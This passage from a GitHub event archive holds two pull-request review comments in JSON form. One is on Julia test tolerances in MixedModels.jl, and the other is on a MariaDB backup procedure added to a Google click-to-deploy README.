"url": "https://api.github.com/orgs/CanalTP"
}
| 2019-03-04T14:34:18 |
9175104432
|
{"actor":{"display_login":"nonifier"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/comments/358931764","pull_request_review_id":333455934,"id":358931764,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM1ODkzMTc2NA==","diff_hunk":"@@ -46,12 +39,12 @@ end\n @testset \"cbpp\" begin\n cbpp = dat[:cbpp]\n cbpp[!, :prop] = cbpp[!, :i] ./ cbpp[!, :s]\n- gm2 = fit(MixedModel, @formula(prop ~ 1 + p + (1|h)), cbpp, Binomial(), wts = cbpp[!,:s])\n- @test isapprox(deviance(gm2,true), 100.09585619324639, atol=0.0001)\n- @test isapprox(sum(abs2, gm2.u[1]), 9.723175126731014, atol=0.0001)\n- @test isapprox(logdet(gm2), 16.90099, atol=0.0001)\n- @test isapprox(sum(gm2.resp.devresid), 73.47179193718736, atol=0.001)\n- @test isapprox(loglikelihood(gm2), -92.02628186555876, atol=0.001)\n+ gm2 = fit(MixedModel, @formula(prop ~ 1 + p + (1|h)), cbpp, Binomial(), wts=cbpp[!,:s])\n+ @test isapprox(deviance(gm2,true), 100.09585619892968, atol=0.0001)\n+ @test isapprox(sum(abs2, gm2.u[1]), 9.723054788538546, atol=0.0001)\n+ @test isapprox(logdet(gm2), 16.90105378801136, atol=0.0001)\n+ @test isapprox(sum(gm2.resp.devresid), 73.47174762237978, atol=0.001)\n+ @test isapprox(loglikelihood(gm2), -92.02628186840045, atol=0.001)","path":"test/pirls.jl","position":48,"original_position":48,"commit_id":"e4104602f8273d5eaa17ec6671ddfef3838e8fab","original_commit_id":"e4104602f8273d5eaa17ec6671ddfef3838e8fab","user":{"login":"palday","id":1677783,"node_id":"MDQ6VXNlcjE2Nzc3ODM=","avatar_url":"https://avatars3.githubusercontent.com/u/1677783?v=4","gravatar_id":"","url":"https://api.github.com/users/palday","html_url":"https://github.com/palday","followers_url":"https://api.github.com/users/palday/followers","following_url":"https://api.github.com/users/palday/following{/other_user}","gists_url":"https://api.github.com/users/palday/gists{/gist_id}","starred_url":"https://api.github.com/users/palday/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/palday/subscriptions","organizations_url":"https://api.github.com/users/palday/orgs","repos_url":"https://api.github.com/users/palday/repos","events_url":"https://api.github.com/users/palday/events{/privacy}","received_events_url":"https://api.github.com/users/palday/received_events","type":"User","site_admin":false},"body":"Right, that might explain the difficulties I'm having with the tests I'm working on -- the lme4 estimates have deviance close to those from this branch, but the estimates vary a fair amount. And it might also explain why the old gamma tests in #201 gave different answers on different platforms.","created_at":"2019-12-17T17:36:19Z","updated_at":"2019-12-17T17:36:19Z","html_url":"https://github.com/JuliaStats/MixedModels.jl/pull/231#discussion_r358931764","pull_request_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/231","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/comments/358931764"},"html":{"href":"https://github.com/JuliaStats/MixedModels.jl/pull/231#discussion_r358931764"},"pull_request":{"href":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/231"}},"in_reply_to_id":358910380},"pull_request":{"url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/231","id":351633028,"node_id":"MDExOlB1bGxSZXF1ZXN0MzUxNjMzMDI4","html_url":"https://github.com/JuliaStats/MixedModels.jl/pull/231","diff_url":"https://github.com/JuliaStats/MixedModels.jl/pull/231.diff","patch_url":"https://github.com/JuliaStats/MixedModels.jl/pull/231.patch","issue_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues/231","number":231,"state":"open","locked":false,"title":"Use 5-argument `mul!` instead of `mulαβ!`","user":{"login":"dmbates","id":371258,"node_id":"MDQ6VXNlcjM3MTI1OA==","avatar_url":"https://avatars0.githubusercontent.com/u/371258?v=4","gravatar_id":"","url":"https://api.github.com/users/dmbates","html_url":"https://github.com/dmbates","followers_url":"https://api.github.com/users/dmbates/followers","following_url":"https://api.github.com/users/dmbates/following{/other_user}","gists_url":"https://api.github.com/users/dmbates/gists{/gist_id}","starred_url":"https://api.github.com/users/dmbates/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dmbates/subscriptions","organizations_url":"https://api.github.com/users/dmbates/orgs","repos_url":"https://api.github.com/users/dmbates/repos","events_url":"https://api.github.com/users/dmbates/events{/privacy}","received_events_url":"https://api.github.com/users/dmbates/received_events","type":"User","site_admin":false},"body":"Starting in Julia v1.3.0 methods for `LinearAlgebra.mul!` can be defined for 5 arguments, the last two being scalar multiples of `A*B` and of `C`. These are used in the blocked Cholesky factorization in the `updateL!` method for this package, which is the computational workhorse. Previous versions of this package defined a generic called `mulαβ!` for this but now that functionality can be expressed as methods for `mul!`.\r\n\r\n* Restrict to Julia version 1.3 and later\r\n* Reformat source code using the `Formatter` package\r\n* Drop badge for coveralls.io in README page as coveralls is not configured for this repository\r\n* GLMMs with `fast=false` (the default) no longer use a 2-stage optimization (fixes #220 )","created_at":"2019-12-10T22:23:42Z","updated_at":"2019-12-17T17:36:19Z","closed_at":null,"merged_at":null,"merge_commit_sha":"e5d2a9ca5f59c7a899e3ee7756f3d4f3a1af2f0a","assignee":null,"assignees":[],"requested_reviewers":[{"login":"Nosferican","id":2529329,"node_id":"MDQ6VXNlcjI1MjkzMjk=","avatar_url":"https://avatars0.githubusercontent.com/u/2529329?v=4","gravatar_id":"","url":"https://api.github.com/users/Nosferican","html_url":"https://github.com/Nosferican","followers_url":"https://api.github.com/users/Nosferican/followers","following_url":"https://api.github.com/users/Nosferican/following{/other_user}","gists_url":"https://api.github.com/users/Nosferican/gists{/gist_id}","starred_url":"https://api.github.com/users/Nosferican/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Nosferican/subscriptions","organizations_url":"https://api.github.com/users/Nosferican/orgs","repos_url":"https://api.github.com/users/Nosferican/repos","events_url":"https://api.github.com/users/Nosferican/events{/privacy}","received_events_url":"https://api.github.com/users/Nosferican/received_events","type":"User","site_admin":false}],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/231/commits","review_comments_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/231/comments","review_comment_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/comments{/number}","comments_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues/231/comments","statuses_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/statuses/e4104602f8273d5eaa17ec6671ddfef3838e8fab","head":{"label":"JuliaStats:dropmulalphabeta","ref":"dropmulalphabeta","sha":"e4104602f8273d5eaa17ec6671ddfef3838e8fab","user":{"login":"JuliaStats","id":2761531,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3NjE1MzE=","avatar_url":"https://avatars2.githubusercontent.com/u/2761531?v=4","gravatar_id":"","url":"https://api.github.com/users/JuliaStats","html_url":"https://github.com/JuliaStats","followers_url":"https://api.github.com/users/JuliaStats/followers","following_url":"https://api.github.com/users/JuliaStats/following{/other_user}","gists_url":"https://api.github.com/users/JuliaStats/gists{/gist_id}","starred_url":"https://api.github.com/users/JuliaStats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JuliaStats/subscriptions","organizations_url":"https://api.github.com/users/JuliaStats/orgs","repos_url":"https://api.github.com/users/JuliaStats/repos","events_url":"https://api.github.com/users/JuliaStats/events{/privacy}","received_events_url":"https://api.github.com/users/JuliaStats/received_events","type":"Organization","site_admin":false},"repo":{"id":9106942,"node_id":"MDEwOlJlcG9zaXRvcnk5MTA2OTQy","name":"MixedModels.jl","full_name":"JuliaStats/MixedModels.jl","private":false,"owner":{"login":"JuliaStats","id":2761531,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3NjE1MzE=","avatar_url":"https://avatars2.githubusercontent.com/u/2761531?v=4","gravatar_id":"","url":"https://api.github.com/users/JuliaStats","html_url":"https://github.com/JuliaStats","followers_url":"https://api.github.com/users/JuliaStats/followers","following_url":"https://api.github.com/users/JuliaStats/following{/other_user}","gists_url":"https://api.github.com/users/JuliaStats/gists{/gist_id}","starred_url":"https://api.github.com/users/JuliaStats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JuliaStats/subscriptions","organizations_url":"https://api.github.com/users/JuliaStats/orgs","repos_url":"https://api.github.com/users/JuliaStats/repos","events_url":"https://api.github.com/users/JuliaStats/events{/privacy}","received_events_url":"https://api.github.com/users/JuliaStats/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/JuliaStats/MixedModels.jl","description":"A Julia package for fitting (statistical) mixed-effects models","fork":false,"url":"https://api.github.com/repos/JuliaStats/MixedModels.jl","forks_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/forks","keys_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/teams","hooks_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/hooks","issue_events_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues/events{/number}","events_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/events","assignees_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/assignees{/user}","branches_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/branches{/branch}","tags_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/tags","blobs_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/refs{/sha}","trees_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/statuses/{sha}","languages_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/languages","stargazers_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/stargazers","contributors_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/contributors","subscribers_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/subscribers","subscription_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/subscription","commits_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/commits{/sha}","git_commits_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/commits{/sha}","comments_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/comments{/number}","issue_comment_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues/comments{/number}","contents_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/contents/{+path}","compare_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/merges","archive_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/downloads","issues_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues{/number}","pulls_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls{/number}","milestones_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/milestones{/number}","notifications_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/labels{/name}","releases_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/releases{/id}","deployments_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/deployments","created_at":"2013-03-29T21:24:25Z","updated_at":"2019-12-14T16:27:48Z","pushed_at":"2019-12-16T15:28:10Z","git_url":"git://github.com/JuliaStats/MixedModels.jl.git","ssh_url":"git@github.com:JuliaStats/MixedModels.jl.git","clone_url":"https://github.com/JuliaStats/MixedModels.jl.git","svn_url":"https://github.com/JuliaStats/MixedModels.jl","homepage":null,"size":29302,"stargazers_count":173,"watchers_count":173,"language":"Julia","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":34,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":18,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":34,"open_issues":18,"watchers":173,"default_branch":"master"}},"base":{"label":"JuliaStats:master","ref":"master","sha":"3799c25b06e62f920344ff05235d4fa829bcb1e9","user":{"login":"JuliaStats","id":2761531,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3NjE1MzE=","avatar_url":"https://avatars2.githubusercontent.com/u/2761531?v=4","gravatar_id":"","url":"https://api.github.com/users/JuliaStats","html_url":"https://github.com/JuliaStats","followers_url":"https://api.github.com/users/JuliaStats/followers","following_url":"https://api.github.com/users/JuliaStats/following{/other_user}","gists_url":"https://api.github.com/users/JuliaStats/gists{/gist_id}","starred_url":"https://api.github.com/users/JuliaStats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JuliaStats/subscriptions","organizations_url":"https://api.github.com/users/JuliaStats/orgs","repos_url":"https://api.github.com/users/JuliaStats/repos","events_url":"https://api.github.com/users/JuliaStats/events{/privacy}","received_events_url":"https://api.github.com/users/JuliaStats/received_events","type":"Organization","site_admin":false},"repo":{"id":9106942,"node_id":"MDEwOlJlcG9zaXRvcnk5MTA2OTQy","name":"MixedModels.jl","full_name":"JuliaStats/MixedModels.jl","private":false,"owner":{"login":"JuliaStats","id":2761531,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI3NjE1MzE=","avatar_url":"https://avatars2.githubusercontent.com/u/2761531?v=4","gravatar_id":"","url":"https://api.github.com/users/JuliaStats","html_url":"https://github.com/JuliaStats","followers_url":"https://api.github.com/users/JuliaStats/followers","following_url":"https://api.github.com/users/JuliaStats/following{/other_user}","gists_url":"https://api.github.com/users/JuliaStats/gists{/gist_id}","starred_url":"https://api.github.com/users/JuliaStats/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JuliaStats/subscriptions","organizations_url":"https://api.github.com/users/JuliaStats/orgs","repos_url":"https://api.github.com/users/JuliaStats/repos","events_url":"https://api.github.com/users/JuliaStats/events{/privacy}","received_events_url":"https://api.github.com/users/JuliaStats/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/JuliaStats/MixedModels.jl","description":"A Julia package for fitting (statistical) mixed-effects models","fork":false,"url":"https://api.github.com/repos/JuliaStats/MixedModels.jl","forks_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/forks","keys_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/teams","hooks_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/hooks","issue_events_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues/events{/number}","events_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/events","assignees_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/assignees{/user}","branches_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/branches{/branch}","tags_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/tags","blobs_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/refs{/sha}","trees_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/statuses/{sha}","languages_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/languages","stargazers_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/stargazers","contributors_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/contributors","subscribers_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/subscribers","subscription_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/subscription","commits_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/commits{/sha}","git_commits_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/git/commits{/sha}","comments_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/comments{/number}","issue_comment_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues/comments{/number}","contents_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/contents/{+path}","compare_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/merges","archive_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/downloads","issues_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues{/number}","pulls_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls{/number}","milestones_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/milestones{/number}","notifications_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/labels{/name}","releases_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/releases{/id}","deployments_url":"https://api.github.com/repos/JuliaStats/MixedModels.jl/deployments","created_at":"2013-03-29T21:24:25Z","updated_at":"2019-12-14T16:27:48Z","pushed_at":"2019-12-16T15:28:10Z","git_url":"git://github.com/JuliaStats/MixedModels.jl.git","ssh_url":"git@github.com:JuliaStats/MixedModels.jl.git","clone_url":"https://github.com/JuliaStats/MixedModels.jl.git","svn_url":"https://github.com/JuliaStats/MixedModels.jl","homepage":null,"size":29302,"stargazers_count":173,"watchers_count":173,"language":"Julia","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":true,"forks_count":34,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":18,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":34,"open_issues":18,"watchers":173,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/231"},"html":{"href":"https://github.com/JuliaStats/MixedModels.jl/pull/231"},"issue":{"href":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues/231"},"comments":{"href":"https://api.github.com/repos/JuliaStats/MixedModels.jl/issues/231/comments"},"review_comments":{"href":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/231/comments"},"review_comment":{"href":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/JuliaStats/MixedModels.jl/pulls/231/commits"},"statuses":{"href":"https://api.github.com/repos/JuliaStats/MixedModels.jl/statuses/e4104602f8273d5eaa17ec6671ddfef3838e8fab"}},"author_association":"COLLABORATOR"}}
|
{
"id": 9106942,
"name": "JuliaStats/MixedModels.jl",
"url": "https://api.github.com/repos/JuliaStats/MixedModels.jl"
}
|
{
"id": 1677783,
"login": "palday",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1677783?",
"url": "https://api.github.com/users/palday"
}
|
{
"id": 2761531,
"login": "JuliaStats",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/2761531?",
"url": "https://api.github.com/orgs/JuliaStats"
}
| 2019-12-17T17:36:19 |
11109441291
|
{"actor":{"display_login":"palday"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/comments/329446008","pull_request_review_id":294800093,"id":329446008,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMyOTQ0NjAwOA==","diff_hunk":"@@ -320,15 +320,58 @@ Use the same command to reduce the number of replicas without disconnecting node\n \n # Backup and Restore\n \n-The following steps are based on the [MariaDB documentation](https://mariadb.com/kb/en/library/backing-up-and-restoring-databases/).\n+The following steps are based on the [MariaDB documentation](https://mariadb.com/kb/en/library/mysqldump/).\n \n ## Backup MariaDB data to your local workstation\n \n-<!--TODO: Provide backup info-->\n+In order to backup MariaDB data you have to run following command:\n+\n+```shell\n+BKP_NAME=\"all-databases-$(date +%Y-%m-%d).sql\"\n+BKP_DIR=/var/mariadb/backup\n+POD_NAME=${APP_INSTANCE_NAME}-galera-0\n+\n+# Backup database\n+kubectl -n ${NAMESPACE} exec -it ${POD_NAME} -c mariadb -- sh -c \"mkdir -p ${BKP_DIR} && \\\n+ mysqldump --all-databases --add-drop-table --single-transaction --ignore-table=mysql.user \\","path":"k8s/mariadb-galera/README.md","position":null,"original_position":19,"commit_id":"13cf2bf5ff3ac16c1efa12e1754cb874437438f0","original_commit_id":"57aee4006b1b02287f4995eaba42f9d31d85e8e1","user":{"login":"ovk6","id":17149009,"node_id":"MDQ6VXNlcjE3MTQ5MDA5","avatar_url":"https://avatars0.githubusercontent.com/u/17149009?v=4","gravatar_id":"","url":"https://api.github.com/users/ovk6","html_url":"https://github.com/ovk6","followers_url":"https://api.github.com/users/ovk6/followers","following_url":"https://api.github.com/users/ovk6/following{/other_user}","gists_url":"https://api.github.com/users/ovk6/gists{/gist_id}","starred_url":"https://api.github.com/users/ovk6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ovk6/subscriptions","organizations_url":"https://api.github.com/users/ovk6/orgs","repos_url":"https://api.github.com/users/ovk6/repos","events_url":"https://api.github.com/users/ovk6/events{/privacy}","received_events_url":"https://api.github.com/users/ovk6/received_events","type":"User","site_admin":false},"body":"Added","created_at":"2019-09-30T07:50:49Z","updated_at":"2019-09-30T07:50:49Z","html_url":"https://github.com/GoogleCloudPlatform/click-to-deploy/pull/746#discussion_r329446008","pull_request_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/746","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/comments/329446008"},"html":{"href":"https://github.com/GoogleCloudPlatform/click-to-deploy/pull/746#discussion_r329446008"},"pull_request":{"href":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/746"}},"in_reply_to_id":322218382},"pull_request":{"url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/746","id":314941647,"node_id":"MDExOlB1bGxSZXF1ZXN0MzE0OTQxNjQ3","html_url":"https://github.com/GoogleCloudPlatform/click-to-deploy/pull/746","diff_url":"https://github.com/GoogleCloudPlatform/click-to-deploy/pull/746.diff","patch_url":"https://github.com/GoogleCloudPlatform/click-to-deploy/pull/746.patch","issue_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues/746","number":746,"state":"open","locked":false,"title":"Added backup/restore procedure","user":{"login":"ovk6","id":17149009,"node_id":"MDQ6VXNlcjE3MTQ5MDA5","avatar_url":"https://avatars0.githubusercontent.com/u/17149009?v=4","gravatar_id":"","url":"https://api.github.com/users/ovk6","html_url":"https://github.com/ovk6","followers_url":"https://api.github.com/users/ovk6/followers","following_url":"https://api.github.com/users/ovk6/following{/other_user}","gists_url":"https://api.github.com/users/ovk6/gists{/gist_id}","starred_url":"https://api.github.com/users/ovk6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ovk6/subscriptions","organizations_url":"https://api.github.com/users/ovk6/orgs","repos_url":"https://api.github.com/users/ovk6/repos","events_url":"https://api.github.com/users/ovk6/events{/privacy}","received_events_url":"https://api.github.com/users/ovk6/received_events","type":"User","site_admin":false},"body":"/gcbrun\r\n","created_at":"2019-09-06T12:53:20Z","updated_at":"2019-09-30T07:50:49Z","closed_at":null,"merged_at":null,"merge_commit_sha":"28cefc1a2e3f1bb9397bdc7c469bdd3b50e8c91e","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[{"name":"launcher-operations","id":2421736,"node_id":"MDQ6VGVhbTI0MjE3MzY=","slug":"launcher-operations","description":"Operations team for GCP Launcher","privacy":"closed","url":"https://api.github.com/teams/2421736","html_url":"https://github.com/orgs/GoogleCloudPlatform/teams/launcher-operations","members_url":"https://api.github.com/teams/2421736/members{/member}","repositories_url":"https://api.github.com/teams/2421736/repos","permission":"pull"}],"labels":[{"id":1043378155,"node_id":"MDU6TGFiZWwxMDQzMzc4MTU1","url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/labels/cla:%20yes","name":"cla: yes","color":"0e8a16","default":false},{"id":1361730784,"node_id":"MDU6TGFiZWwxMzYxNzMwNzg0","url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/labels/documentation","name":"documentation","color":"adffbc","default":true},{"id":1263207387,"node_id":"MDU6TGFiZWwxMjYzMjA3Mzg3","url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/labels/kind/k8s","name":"kind/k8s","color":"f9c2d2","default":false},{"id":1359758650,"node_id":"MDU6TGFiZWwxMzU5NzU4NjUw","url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/labels/needs-triage","name":"needs-triage","color":"f9d0c4","default":false}],"milestone":null,"commits_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/746/commits","review_comments_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/746/comments","review_comment_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/pulls/comments{/number}","comments_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues/746/comments","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/statuses/13cf2bf5ff3ac16c1efa12e1754cb874437438f0","head":{"label":"GoogleCloudPlatform:ovk-mariadb-backup","ref":"ovk-mariadb-backup","sha":"13cf2bf5ff3ac16c1efa12e1754cb874437438f0","user":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"repo":{"id":128265535,"node_id":"MDEwOlJlcG9zaXRvcnkxMjgyNjU1MzU=","name":"click-to-deploy","full_name":"GoogleCloudPlatform/click-to-deploy","private":false,"owner":{"login":"GoogleCloudPlatform","id":2810941,"node_id":"MDEyOk9yZ2FuaXphdGlvbjI4MTA5NDE=","avatar_url":"https://avatars0.githubusercontent.com/u/2810941?v=4","gravatar_id":"","url":"https://api.github.com/users/GoogleCloudPlatform","html_url":"https://github.com/GoogleCloudPlatform","followers_url":"https://api.github.com/users/GoogleCloudPlatform/followers","following_url":"https://api.github.com/users/GoogleCloudPlatform/following{/other_user}","gists_url":"https://api.github.com/users/GoogleCloudPlatform/gists{/gist_id}","starred_url":"https://api.github.com/users/GoogleCloudPlatform/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GoogleCloudPlatform/subscriptions","organizations_url":"https://api.github.com/users/GoogleCloudPlatform/orgs","repos_url":"https://api.github.com/users/GoogleCloudPlatform/repos","events_url":"https://api.github.com/users/GoogleCloudPlatform/events{/privacy}","received_events_url":"https://api.github.com/users/GoogleCloudPlatform/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/GoogleCloudPlatform/click-to-deploy","description":"Source for Google Click to Deploy solutions listed on Google Cloud Marketplace.","fork":false,"url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy","forks_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/forks","keys_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/keys{/key_id}","collaborators_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/teams","hooks_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/hooks","issue_events_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/issues/events{/number}","events_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/events","assignees_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/assignees{/user}","branches_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/branches{/branch}","tags_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/tags","blobs_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/refs{/sha}","trees_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-deploy/git/trees{/sha}","statuses_url":"https://api.github.com/repos/GoogleCloudPlatform/click-to-dep